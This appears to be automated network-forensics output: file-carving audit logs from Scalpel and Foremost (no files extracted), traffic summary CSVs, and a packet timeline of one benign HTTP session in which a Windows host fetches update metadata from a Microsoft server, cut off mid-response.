20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-19T15:49:56.091919,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpurromk_4/carved/scalpel/audit.txt,468,9045ee548afbcc6ecc245b2ca3c93f6e,d27500b88c05488692c8b4b61afa985273ea0599f8d098fa53b80178aad6475f,4.99,\"Scalpel version 1.60 audit file, Started at Sun Jul 19 15:49:56 2026, Command line:, scalpel -c /tmp/tmpurromk_4/carved/scalpel.conf /tmp/filtered_j0vplj_u.pcap -o /tmp/tmpurromk_4/carved/scalpel , Output directory: /tmp/tmpurromk_4/carved/scalpel, Configuration file: /tmp/tmpurromk_4/carved/scalpel.conf, Opening target , /tmp/filtered_j0vplj_u.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Sun Jul 19 15:49:56 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 35 3a 34 39 3a 35 36 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 75 72 72 6f 6d 6b 5f 34 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6a 30 76 70 6c 6a 5f 75 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 75 72 72 6f 6d 6b 5f 34 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 75 72 72 6f 6d 6b 5f 34 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 75 72 72 6f 6d 6b 5f 34 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6a 30 76 70 6c 6a 5f 75 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 35 3a 34 39 3a 35 36 20 32 30 32 36 0a\n2026-07-19T15:49:56.085232,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpurromk_4/carved/foremost/audit.txt,698,f16053958aa719912f2054602004cb28,3d808389c89a92f97cedbb6b75ae4a6a55163e04d145e461e8f585de7c21fbf3,4.89,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sun Jul 19 15:49:56 2026, Invocation: foremost -t all -i /tmp/filtered_j0vplj_u.pcap -o /tmp/tmpurromk_4/carved/foremost , Output directory: /tmp/tmpurromk_4/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_j0vplj_u.pcap, Start: Sun Jul 19 15:49:56 2026, Length: 5 KB (5972 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sun Jul 19 15:49:56 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sun Jul 19 15:49:56 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 35 3a 34 39 3a 35 36 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6a 30 76 70 6c 6a 5f 75 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 75 72 72 6f 6d 6b 5f 34 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 75 72 72 6f 6d 6b 5f 34 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6a 30 76 70 6c 6a 5f 75 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 35 3a 34 39 3a 35 36 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 20 4b 42 20 28 35 39 37 32 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 35 3a 34 39 3a 35 36 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 35 3a 34 39 3a 35 36 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,13,5408,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,0,10.152.152.11,128.251.172.13,GET,128.251.172.13,http://128.251.172.13,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n64011,13,5408,50.00%,50.00%\n80,13,5408,50.00%,50.00%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-19 10:10:07.446739,1,TCP 10.152.152.11:64011 -> 128.251.172.13:80,10.152.152.11,128.251.172.13,64011,80,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,S,,,Ether > IP > TCP,3,TCP S Seq=3210930327 Ack=0,bc24112907bbbc2411360d0c08004500003428f54000800602230a98980b80fbac0dfa0b0050bf62e897000000008002faf0021d0000020405b40103030801010402,\".$.)...$.6\n...E..4(.@....#\n......\n...P.b..........................\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10485, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 547, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"128.251.172.13\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64011, \"\"dport\"\": 80, \"\"seq\"\": 3210930327, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-19 10:10:07.446770,2,TCP 128.251.172.13:80 -> 10.152.152.11:64011,128.251.172.13,10.152.152.11,80,64011,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4115183388 Ack=3210930328,bc2411360d0cbc24112907bb0800450000340000400040066b1880fbac0d0a98980b0050fa0bf548b71cbf62e8988012faf0cfd20000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.k....\n....P...H...b.....................\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27416, \"\"src\"\": \"\"128.251.172.13\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64011, \"\"seq\"\": 4115183388, \"\"ack\"\": 3210930328, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 53202, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-19 10:10:07.447069,3,TCP 10.152.152.11:64011 -> 128.251.172.13:80,10.152.152.11,128.251.172.13,64011,80,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,A,,,Ether > IP > TCP,3,TCP A Seq=3210930328 Ack=4115183389,bc24112907bbbc2411360d0c08004500002828f640008006022e0a98980b80fbac0dfa0b0050bf62e898f548b71d5010201471560000,\".$.)...$.6\n...E..((.@.....\n......\n...P.b...H..P. .qV..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10486, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 558, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"128.251.172.13\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64011, \"\"dport\"\": 80, \"\"seq\"\": 3210930328, \"\"ack\"\": 4115183389, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 29014, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:10:07.447092,4,TCP 10.152.152.11:64011 -> 128.251.172.13:80,10.152.152.11,128.251.172.13,64011,80,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,PA,,http://128.251.172.13/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001be28f74000800600970a98980b80fbac0dfa0b0050bf62e898f548b71d5018201426b90000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a203132382e3235312e3137322e31330d0a0d0a,\".$.)...$.6\n...E...(.@.....\n......\n...P.b...H..P. .&...GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 128.251.172.13\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 446, \"\"id\"\": 10487, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 151, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"128.251.172.13\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64011, \"\"dport\"\": 80, \"\"seq\"\": 3210930328, \"\"ack\"\": 4115183389, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 9913, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"128.251.172.13\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-07-19 10:10:07.447097,5,TCP 128.251.172.13:80 -> 10.152.152.11:64011,128.251.172.13,10.152.152.11,80,64011,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4115183389 Ack=3210930734,bc2411360d0cbc24112907bb080045000028d5ea40004006953980fbac0d0a98980b0050fa0bf548b71dbf62ea2e5010003fcfc60000,\".$.6\n..$.)....E..(..@.@..9...\n....P...H...b..P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54762, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38201, \"\"src\"\": \"\"128.251.172.13\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64011, \"\"seq\"\": 4115183389, \"\"ack\"\": 3210930734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 53190, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:10:07.712341,6,TCP 128.251.172.13:80 -> 10.152.152.11:64011,128.251.172.13,10.152.152.11,80,64011,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb080045000d80d5eb4000400687e080fbac0d0a98980b0050fa0bf548b71dbf62ea2e5018003fdd1e0000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203139204a756c20323032362031303a31303a303720474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a582d4349443a2031303030340d0a582d4343433a2032613638333630342d663531352d346338652d613764632d3263323031626564386433330d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a204849540d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3